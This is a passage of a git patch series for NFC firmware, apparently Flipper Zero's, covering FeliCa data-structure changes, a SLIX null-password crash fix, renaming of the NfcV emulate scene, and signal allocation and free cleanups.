FelicaNodeList_it_t it; for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { FelicaNode* node = *FelicaNodeList_ref(it); if(node->type == FelicaNodeTypeArea) { - felica_area_clear(node->ptr.area); + felica_area_clear(node->area); } else if(node->type == FelicaNodeTypeService) { - felica_service_clear(node->ptr.service); + felica_service_clear(node->service); } free(node); } @@ -601,7 +647,12 @@ void felica_clear(FelicaData* data) { for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { FelicaSystem* system = *FelicaSystemList_ref(it); - felica_area_clear(&system->root_area); + if(system->code == LITE_SYSTEM_CODE) { + felica_lite_clear(&system->lite_info); + ; + } else { + felica_area_clear(&system->root_area); + } } FelicaSystemList_clear(data->systems); } \ No newline at end of file diff --git a/lib/nfc/protocols/felica.h b/lib/nfc/protocols/felica.h index f79d28ce6..fa81cba2f 100644 --- a/lib/nfc/protocols/felica.h +++ b/lib/nfc/protocols/felica.h @@ -2,6 +2,7 @@ #include #include +#include #define NFCF_F_SIG (13560000.0) #define MRT_T_SIG 302064.89 //ns, 256 * 16 / NFC_F_SIG * 1e9 @@ -9,21 +10,29 @@ #define MRT_T_SIG_x16 4833038.24 //ns, MRT_T_SIG * (4 ** 2) #define MRT_T_SIG_x64 19332152.96 //ns, MRT_T_SIG * (4 ** 2) +#define FELICA_VARIABLE_MRT 0 +#define FELICA_FIXED_MRT 1 +#define FELICA_MUTUAL_AUTH_MRT 2 +#define FELICA_READ_MRT 3 +#define FELICA_WRITE_MRT 4 +#define FELICA_OTHER_MRT 5 + #define FELICA_BLOCK_SIZE 16 -#define SUICA_SYSTEM_CODE 0x0003 +#define CYBERNET_SYSTEM_CODE 0x0003 #define NDEF_SYSTEM_CODE 0x12fc #define HCE_F_SYSTEM_CODE 0x4000 #define OCTOPUS_SYSTEM_CODE 0x8008 +#define IRUCA_SYSTEM_CODE 0x80de #define EDY_SYSTEM_CODE 0x811d #define PASPY_SYSTEM_CODE 0x8592 #define BLACKBOARD_SYSTEM_CODE 0x8620 #define SAPICA_SYSTEM_CODE 0x865e +#define SUICA_SYSTEM_CODE 0x86a7 #define LITE_SYSTEM_CODE 0x88b4 #define RYUTO_SYSTEM_CODE 0x8b5d #define OKICA_SYSTEM_CODE 0x8fc1 #define SECURE_ID_SYSTEM_CODE 0x957a -#define IRUCA_SYSTEM_CODE 0xde80 #define COMMON_AREA_SYSTEM_CODE 0xfe00 #define PLUG_SYSTEM_CODE 0xfee1 @@ -42,24 +51,6 @@ #define STATE_LITE_BLOCK 0x92 #define CRC_CHECK_LITE_BLOCK 0xA0 -#define RANDOM_TYPE_SERVICE_ATTRIBUTE (0b0010 << 2) -#define CYCLIC_TYPE_SERVICE_ATTRIBUTE (0b0011 << 2) -#define PURSE_TYPE_SERVICE_ATTRIBUTE (0b010 << 3) - -#define AUTH_RW_SERVICE_ATTRIBUTE (0b00) -#define UNAUTH_RW_SERVICE_ATTRIBUTE (0b01) -#define AUTH_RO_SERVICE_ATTRIBUTE (0b10) -#define UNAUTH_RO_SERVICE_ATTRIBUTE (0b11) - -#define AUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b000) -#define UNAUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b001) -#define AUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b010) -#define UNAUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b011) -#define AUTH_DECREMENT_SERVICE_ATTRIBUTE (0b100) -#define UNAUTH_DECREMENT_SERVICE_ATTRIBUTE (0b101) -#define AUTH_RO_PURSE_SERVICE_ATTRIBUTE (0b110) -#define UNAUTH_RO_PURSE_SERVICE_ATTRIBUTE (0b111) - #define IS_2_BYTE_BLOCK_LIST_ELEMENT 0x80 #define FELICA_UNENCRYPTED_READ_CMD 0x06 @@ -105,35 +96,51 @@ typedef struct { } FelicaMRTParts; typedef enum { - FelicaMRTCommandTypeVariable = 0, - FelicaMRTCommandTypeFixed = 1, - FelicaMRTCommandTypeMutualAuth = 2, - FelicaMRTCommandTypeDataRead = 3, - FelicaMRTCommandTypeDataWrite = 4, - FelicaMRTCommandTypeDataOther = 4, -} FelicaMRTCommandType; + FelicaServiceTypeRandom = (0b0010 << 2), + FelicaServiceTypeCyclic = (0b0011 << 2), + FelicaServiceTypePurse = (0b010 << 3), +} FelicaServiceType; +typedef enum { + FelicaServiceAttributeAuthRW = 0b00, + FelicaServiceAttributeUnauthRW = 0b01, + FelicaServiceAttributeAuthRO = 0b10, + FelicaServiceAttributeUnauthRO = 0b11, + + FelicaServiceAttributeAuthDirectAccess = 0b000, + FelicaServiceAttributeUnauthDirectAccess = 0b001, + FelicaServiceAttributeAuthCashbackDecrement = 0b010, + FelicaServiceAttributeUnauthCashbackDecrement = 0b011, + FelicaServiceAttributeAuthDecrement = 0b100, + FelicaServiceAttributeUnauthDecrement = 0b101, + FelicaServiceAttributeAuthPurseRO = 0b110, + FelicaServiceAttributeUnauthPurseRO = 0b111, +} FelicaServiceAttribute; + +DICT_SET_DEF( + FelicaServiceAttributeList, + FelicaServiceAttribute, + M_ENUM_OPLIST(FelicaServiceAttribute, FelicaServiceAttributeAuthRW)) typedef FelicaMRTParts FelicaMRTParameters[6]; -typedef enum { - FelicaBlockTypeNormal, - FelicaBlockTypeOverlap, - FelicaBlockTypeExtended, -} FelicaBlockType; typedef struct { - FelicaBlockType type; - union { - uint8_t data[FELICA_BLOCK_SIZE]; - }; + uint8_t data[FELICA_BLOCK_SIZE]; } FelicaBlock; -// typedef struct {} FelicaOverlapBlock; - -ARRAY_DEF(FelicaBlockList, FelicaBlock*, M_PTR_OPLIST); +ARRAY_DEF(FelicaBlockList, FelicaBlock*, M_PTR_OPLIST) typedef struct { uint16_t number; - FelicaBlockList_t blocks; + FelicaServiceAttributeList_t access_control_list; // accounts for overlap services + bool is_extended_overlap; + union { + FelicaBlockList_t blocks; + struct { + uint16_t overlap_target; + uint8_t block_start; + uint8_t block_count; + }; + }; } FelicaService; typedef enum { @@ -147,9 +154,10 @@ typedef struct { union { struct _FelicaArea_t* area; FelicaService* service; - } ptr; + }; } FelicaNode; -ARRAY_DEF(FelicaNodeList, FelicaNode*, M_PTR_OPLIST); + +ARRAY_DEF(FelicaNodeList, FelicaNode*, M_PTR_OPLIST) typedef struct _FelicaArea_t { uint16_t number; @@ -157,9 +165,26 @@ typedef struct _FelicaArea_t { uint16_t end_service_code; FelicaNodeList_t nodes; - } FelicaArea; +typedef struct { + uint8_t* S_PAD[14]; + uint8_t* REG; + // MACs of all zero bytes (read from CK) + uint8_t MAC[8]; + uint16_t data_format_code; + uint8_t ID_value[6]; + uint8_t* card_key_1; + uint8_t* card_key_2; + uint16_t card_key_version; + uint8_t memory_config[FELICA_BLOCK_SIZE]; + + // Lite-S only + uint8_t MAC_A[8]; + uint32_t write_count; + bool crc_valid; +} FelicaLiteInfo; + typedef struct _FelicaSystem_t { uint8_t number; uint16_t code; @@ -167,13 +192,13 @@ typedef struct _FelicaSystem_t { uint8_t pmm[8]; FelicaMRTParameters maximum_response_times; - /** This struct represents area 0, - * which always exists on a given system - */ - FelicaArea root_area; + union { + FelicaLiteInfo lite_info; + FelicaArea root_area; + }; } FelicaSystem; -ARRAY_DEF(FelicaSystemList, FelicaSystem*, M_PTR_OPLIST); +ARRAY_DEF(FelicaSystemList, FelicaSystem*, M_PTR_OPLIST) typedef struct { FelicaICType type; From 3305595a8ac34cc124c89bc1194d9e81f0b3c3fa Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 20:53:21 +0100 Subject: [PATCH 030/329] SLIX: fixed crash situation when an invalid password was requested --- lib/nfc/protocols/slix.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/nfc/protocols/slix.c b/lib/nfc/protocols/slix.c index e61c70919..6c6deacdd 100644 --- a/lib/nfc/protocols/slix.c +++ b/lib/nfc/protocols/slix.c @@ -217,6 +217,10 @@ bool slix_generic_protocol_filter( break; } + if(!password) { + break; + } + for(int pos = 0; pos < 4; pos++) { password_rcv[pos] = password_xored[3 - pos] ^ rand[pos % 2]; } From 9e9f445cb81f035b5ed249716382d38a4e0504fb Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 21:50:05 +0100 Subject: [PATCH 031/329] ISO15693: show emulate menu when opening file --- applications/main/nfc/scenes/nfc_scene_saved_menu.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index 90967dd3e..8b24bc4e1 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -43,6 +43,7 @@ void nfc_scene_saved_menu_on_enter(void* context) { } } else if( nfc->dev->format == NfcDeviceSaveFormatMifareUl || + nfc->dev->format == NfcDeviceSaveFormatNfcV || nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { submenu_add_item( submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); From 21e7e7e89b5f880b8faa789276249c88eff3f5f1 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 22:02:02 +0100 Subject: [PATCH 032/329] rename NfcV emulate scene to match other NfcV names --- applications/main/nfc/nfc.c | 2 +- .../main/nfc/scenes/nfc_scene_config.h | 2 +- ...mulate_nfcv.c => nfc_scene_nfcv_emulate.c} | 42 +++++++++---------- .../main/nfc/scenes/nfc_scene_nfcv_menu.c | 4 +- .../main/nfc/scenes/nfc_scene_nfcv_unlock.c | 13 +++--- .../main/nfc/scenes/nfc_scene_saved_menu.c | 2 +- 6 files changed, 32 insertions(+), 33 deletions(-) rename applications/main/nfc/scenes/{nfc_scene_emulate_nfcv.c => nfc_scene_nfcv_emulate.c} (77%) diff --git a/applications/main/nfc/nfc.c b/applications/main/nfc/nfc.c index 8022ff08a..10a3243b8 100644 --- a/applications/main/nfc/nfc.c +++ b/applications/main/nfc/nfc.c @@ -291,7 +291,7 @@ int32_t nfc_app(void* p) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); DOLPHIN_DEED(DolphinDeedNfcEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); DOLPHIN_DEED(DolphinDeedNfcEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatBankCard) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index 6ce8ffa56..32ef104fe 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -18,7 +18,7 @@ ADD_SCENE(nfc, nfcv_menu, NfcVMenu) ADD_SCENE(nfc, nfcv_unlock_menu, NfcVUnlockMenu) ADD_SCENE(nfc, nfcv_key_input, NfcVKeyInput) ADD_SCENE(nfc, nfcv_unlock, NfcVUnlock) -ADD_SCENE(nfc, emulate_nfcv, EmulateNfcV) +ADD_SCENE(nfc, nfcv_emulate, NfcVEmulate) ADD_SCENE(nfc, mf_ultralight_read_success, MfUltralightReadSuccess) ADD_SCENE(nfc, mf_ultralight_data, MfUltralightData) ADD_SCENE(nfc, mf_ultralight_menu, MfUltralightMenu) diff --git a/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c similarity index 77% rename from applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c rename to applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c index e6fc60d86..53da36679 100644 --- a/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c @@ -3,11 +3,11 @@ #define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (100) enum { - NfcSceneEmulateNfcVStateWidget, - NfcSceneEmulateNfcVStateTextBox, + NfcSceneNfcVEmulateStateWidget, + NfcSceneNfcVEmulateStateTextBox, }; -bool nfc_emulate_nfcv_worker_callback(NfcWorkerEvent event, void* context) { +bool nfc_scene_nfcv_emulate_worker_callback(NfcWorkerEvent event, void* context) { UNUSED(event); furi_assert(context); Nfc* nfc = context; @@ -15,7 +15,7 @@ bool nfc_emulate_nfcv_worker_callback(NfcWorkerEvent event, void* context) { return true; } -void nfc_scene_emulate_nfcv_widget_callback(GuiButtonType result, InputType type, void* context) { +void nfc_scene_nfcv_emulate_widget_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); Nfc* nfc = context; if(type == InputTypeShort) { @@ -23,14 +23,14 @@ void nfc_scene_emulate_nfcv_widget_callback(GuiButtonType result, InputType type } } -void nfc_emulate_nfcv_textbox_callback(void* context) { +void nfc_scene_nfcv_emulate_textbox_callback(void* context) { furi_assert(context); Nfc* nfc = context; view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); } // Add widget with device name or inform that data received -static void nfc_scene_emulate_nfcv_widget_config(Nfc* nfc, bool data_received) { +static void nfc_scene_nfcv_emulate_widget_config(Nfc* nfc, bool data_received) { FuriHalNfcDevData* data = &nfc->dev->dev_data.nfc_data; Widget* widget = nfc->widget; widget_reset(widget); @@ -53,15 +53,15 @@ static void nfc_scene_emulate_nfcv_widget_config(Nfc* nfc, bool data_received) { furi_string_free(info_str); if(data_received) { widget_add_button_element( - widget, GuiButtonTypeCenter, "Log", nfc_scene_emulate_nfcv_widget_callback, nfc); + widget, GuiButtonTypeCenter, "Log", nfc_scene_nfcv_emulate_widget_callback, nfc); } } -void nfc_scene_emulate_nfcv_on_enter(void* context) { +void nfc_scene_nfcv_emulate_on_enter(void* context) { Nfc* nfc = context; // Setup Widget - nfc_scene_emulate_nfcv_widget_config(nfc, false); + nfc_scene_nfcv_emulate_widget_config(nfc, false); // Setup TextBox TextBox* text_box = nfc->text_box; text_box_set_font(text_box, TextBoxFontHex); @@ -70,7 +70,7 @@ void nfc_scene_emulate_nfcv_on_enter(void* context) { // Set Widget state and view scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); // Start worker memset(&nfc->dev->dev_data.reader_data, 0, sizeof(NfcReaderRequestData)); @@ -78,23 +78,23 @@ void nfc_scene_emulate_nfcv_on_enter(void* context) { nfc->worker, NfcWorkerStateNfcVEmulate, &nfc->dev->dev_data, - nfc_emulate_nfcv_worker_callback, + nfc_scene_nfcv_emulate_worker_callback, nfc); nfc_blink_emulate_start(nfc); } -bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { +bool nfc_scene_nfcv_emulate_on_event(void* context, SceneManagerEvent event) { Nfc* nfc = context; NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; - uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneEmulateNfcV); + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVEmulate); bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventWorkerExit) { // Add data button to widget if data is received for the first time if(!furi_string_size(nfc->text_box_store)) { - nfc_scene_emulate_nfcv_widget_config(nfc, true); + nfc_scene_nfcv_emulate_widget_config(nfc, true); } if(strlen(nfcv_data->last_command) > 0) { /* use the last n bytes from the log so there's enough space for the new log entry */ @@ -111,22 +111,22 @@ bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { strcpy(nfcv_data->last_command, ""); } consumed = true; - } else if(event.event == GuiButtonTypeCenter && state == NfcSceneEmulateNfcVStateWidget) { + } else if(event.event == GuiButtonTypeCenter && state == NfcSceneNfcVEmulateStateWidget) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateTextBox); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateTextBox); consumed = true; - } else if(event.event == NfcCustomEventViewExit && state == NfcSceneEmulateNfcVStateTextBox) { + } else if(event.event == NfcCustomEventViewExit && state == NfcSceneNfcVEmulateStateTextBox) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); consumed = true; } } else if(event.type == SceneManagerEventTypeBack) { - if(state == NfcSceneEmulateNfcVStateTextBox) { + if(state == NfcSceneNfcVEmulateStateTextBox) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); consumed = true; } } @@ -134,7 +134,7 @@ bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { return consumed; } -void nfc_scene_emulate_nfcv_on_exit(void* context) { +void nfc_scene_nfcv_emulate_on_exit(void* context) { Nfc* nfc = context; // Stop worker diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c index b30495a05..44d677513 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c @@ -16,9 +16,9 @@ void nfc_scene_nfcv_menu_on_enter(void* context) { Nfc* nfc = context; Submenu* submenu = nfc->submenu; - submenu_add_item(submenu, "Save", SubmenuIndexSave, nfc_scene_nfcv_menu_submenu_callback, nfc); submenu_add_item( submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_nfcv_menu_submenu_callback, nfc); + submenu_add_item(submenu, "Save", SubmenuIndexSave, nfc_scene_nfcv_menu_submenu_callback, nfc); submenu_set_selected_item( nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVMenu)); @@ -38,7 +38,7 @@ bool nfc_scene_nfcv_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); consumed = true; } else if(event.event == SubmenuIndexEmulate) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { DOLPHIN_DEED(DolphinDeedNfcAddEmulate); } else { diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c index b52cc0caa..26de304de 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c @@ -42,10 +42,10 @@ void nfc_scene_nfcv_unlock_set_state(Nfc* nfc, NfcSceneNfcVUnlockState state) { popup_reset(popup); if(nfc_worker_get_state(nfc->worker) == NfcWorkerStateNfcVUnlockAndSave) { - nfc_text_store_set( - nfc, - "%s/SLIX_%02X%02X%02X%02X%02X%02X%02X%02X%s", - NFC_APP_FOLDER, + snprintf( + nfc->dev->dev_name, + sizeof(nfc->dev->dev_name), + "SLIX_%02X%02X%02X%02X%02X%02X%02X%02X", nfc_data->uid[0], nfc_data->uid[1], nfc_data->uid[2], @@ -53,12 +53,11 @@ void nfc_scene_nfcv_unlock_set_state(Nfc* nfc, NfcSceneNfcVUnlockState state) { nfc_data->uid[4], nfc_data->uid[5], nfc_data->uid[6], - nfc_data->uid[7], - NFC_APP_EXTENSION); + nfc_data->uid[7]); nfc->dev->format = NfcDeviceSaveFormatNfcV; - if(nfc_device_save(nfc->dev, nfc->text_store)) { + if(nfc_save_file(nfc)) { popup_set_header(popup, "Successfully\nsaved", 94, 3, AlignCenter, AlignTop); } else { popup_set_header( diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index 8b24bc4e1..c870ec0f6 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -118,7 +118,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); } From a5293c56383cc2cca6609497c476a5fa24a25608 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 22:02:34 +0100 Subject: [PATCH 033/329] optimize allocation size for signals --- lib/nfc/protocols/nfcv.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 6c205779f..0f9a0b58a 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -202,7 +202,7 @@ void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { if(!signals->nfcv_resp_one) { /* logical one: unmodulated then 8 pulses */ - signals->nfcv_resp_one = digital_signal_alloc(40); + signals->nfcv_resp_one = digital_signal_alloc(slowdown * 9); for(size_t i = 0; i < slowdown; i++) { digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); } @@ -212,7 +212,7 @@ void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ } if(!signals->nfcv_resp_zero) { /* logical zero: 8 pulses then unmodulated */ - signals->nfcv_resp_zero = digital_signal_alloc(40); + signals->nfcv_resp_zero = digital_signal_alloc(slowdown * 9); for(size_t i = 0; i < slowdown * 8; i++) { digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); } @@ -222,7 +222,8 @@ void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ } if(!signals->nfcv_resp_sof) { /* SOF: unmodulated, 24 pulses, logic 1 */ - signals->nfcv_resp_sof = digital_signal_alloc(160); + signals->nfcv_resp_sof = + digital_signal_alloc(slowdown * 27 + signals->nfcv_resp_one->edge_cnt); for(size_t i = 0; i < slowdown * 3; i++) { digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); } @@ -233,7 +234,8 @@ void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ } if(!signals->nfcv_resp_eof) { /* EOF: logic 0, 24 pulses, unmodulated */ - signals->nfcv_resp_eof = digital_signal_alloc(160); + signals->nfcv_resp_eof = + digital_signal_alloc(slowdown * 27 + signals->nfcv_resp_zero->edge_cnt); digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); for(size_t i = 0; i < slowdown * 24; i++) { digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); From 581e61b6c63e24e9353a404f40b3ab6f868d8f70 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 22:36:30 +0100 Subject: [PATCH 034/329] digital_signal/pulse_reader: allow parameters for free to be NULL --- lib/digital_signal/digital_signal.c | 8 ++++++++ lib/pulse_reader/pulse_reader.c | 6 ++++++ 2 files changed, 14 insertions(+) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 12b543273..ae87a09e4 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -71,6 +71,10 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { void digital_signal_free(DigitalSignal* signal) { furi_assert(signal); + if(!signal) { + return; + } + free(signal->edge_timings); free(signal->reload_reg_buff); free(signal->internals); @@ -298,6 +302,10 @@ DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { void digital_sequence_free(DigitalSequence* sequence) { furi_assert(sequence); + if(!sequence) { + return; + } + free(sequence->signals); free(sequence->sequence); free(sequence); diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 84ce2ff23..c8d0e3ff7 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -117,6 +117,12 @@ void pulse_reader_set_pull(PulseReader* signal, GpioPull pull) { } void pulse_reader_free(PulseReader* signal) { + furi_assert(signal); + + if(!signal) { + return; + } + free(signal->timer_buffer); free(signal->gpio_buffer); free(signal); From 1360cf1f0a946971f34caf49291e6176f3a78b30 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 22:38:13 +0100 Subject: [PATCH 035/329] ISO15693: further optimizations of allocation and free code --- lib/nfc/protocols/nfcv.c | 103 +++++++++++++++++++-------------------- 1 file changed, 51 insertions(+), 52 deletions(-) diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 0f9a0b58a..69f179b4b 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -181,71 +181,71 @@ void nfcv_crc(uint8_t* data, uint32_t length) { } void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { - if(signals->nfcv_resp_one) { - digital_signal_free(signals->nfcv_resp_one); - signals->nfcv_resp_one = NULL; - } - if(signals->nfcv_resp_zero) { - digital_signal_free(signals->nfcv_resp_zero); - signals->nfcv_resp_zero = NULL; - } - if(signals->nfcv_resp_sof) { - digital_signal_free(signals->nfcv_resp_sof); - signals->nfcv_resp_sof = NULL; - } - if(signals->nfcv_resp_eof) { - digital_signal_free(signals->nfcv_resp_eof); - signals->nfcv_resp_eof = NULL; - } + digital_signal_free(signals->nfcv_resp_one); + digital_signal_free(signals->nfcv_resp_zero); + digital_signal_free(signals->nfcv_resp_sof); + digital_signal_free(signals->nfcv_resp_eof); + signals->nfcv_resp_one = NULL; + signals->nfcv_resp_zero = NULL; + signals->nfcv_resp_sof = NULL; + signals->nfcv_resp_eof = NULL; } -void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { +bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { + bool ret = true; + if(!signals->nfcv_resp_one) { /* logical one: unmodulated then 8 pulses */ - signals->nfcv_resp_one = digital_signal_alloc(slowdown * 9); + signals->nfcv_resp_one = digital_signal_alloc( + slowdown * (air->nfcv_resp_unmod->edge_cnt + 8 * air->nfcv_resp_pulse->edge_cnt)); for(size_t i = 0; i < slowdown; i++) { - digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); + ret &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); } for(size_t i = 0; i < slowdown * 8; i++) { - digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); + ret &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); } } if(!signals->nfcv_resp_zero) { /* logical zero: 8 pulses then unmodulated */ - signals->nfcv_resp_zero = digital_signal_alloc(slowdown * 9); + signals->nfcv_resp_zero = digital_signal_alloc( + slowdown * (8 * air->nfcv_resp_pulse->edge_cnt + air->nfcv_resp_unmod->edge_cnt)); for(size_t i = 0; i < slowdown * 8; i++) { - digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); + ret &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); } for(size_t i = 0; i < slowdown; i++) { - digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); + ret &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); } } if(!signals->nfcv_resp_sof) { /* SOF: unmodulated, 24 pulses, logic 1 */ - signals->nfcv_resp_sof = - digital_signal_alloc(slowdown * 27 + signals->nfcv_resp_one->edge_cnt); + signals->nfcv_resp_sof = digital_signal_alloc( + slowdown * (3 * air->nfcv_resp_unmod->edge_cnt + 24 * air->nfcv_resp_pulse->edge_cnt) + + signals->nfcv_resp_one->edge_cnt); for(size_t i = 0; i < slowdown * 3; i++) { - digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); + ret &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); } for(size_t i = 0; i < slowdown * 24; i++) { - digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); + ret &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); } - digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); + ret &= digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); } if(!signals->nfcv_resp_eof) { /* EOF: logic 0, 24 pulses, unmodulated */ - signals->nfcv_resp_eof = - digital_signal_alloc(slowdown * 27 + signals->nfcv_resp_zero->edge_cnt); - digital_signal_append(signals->nfcv_resp_eof, 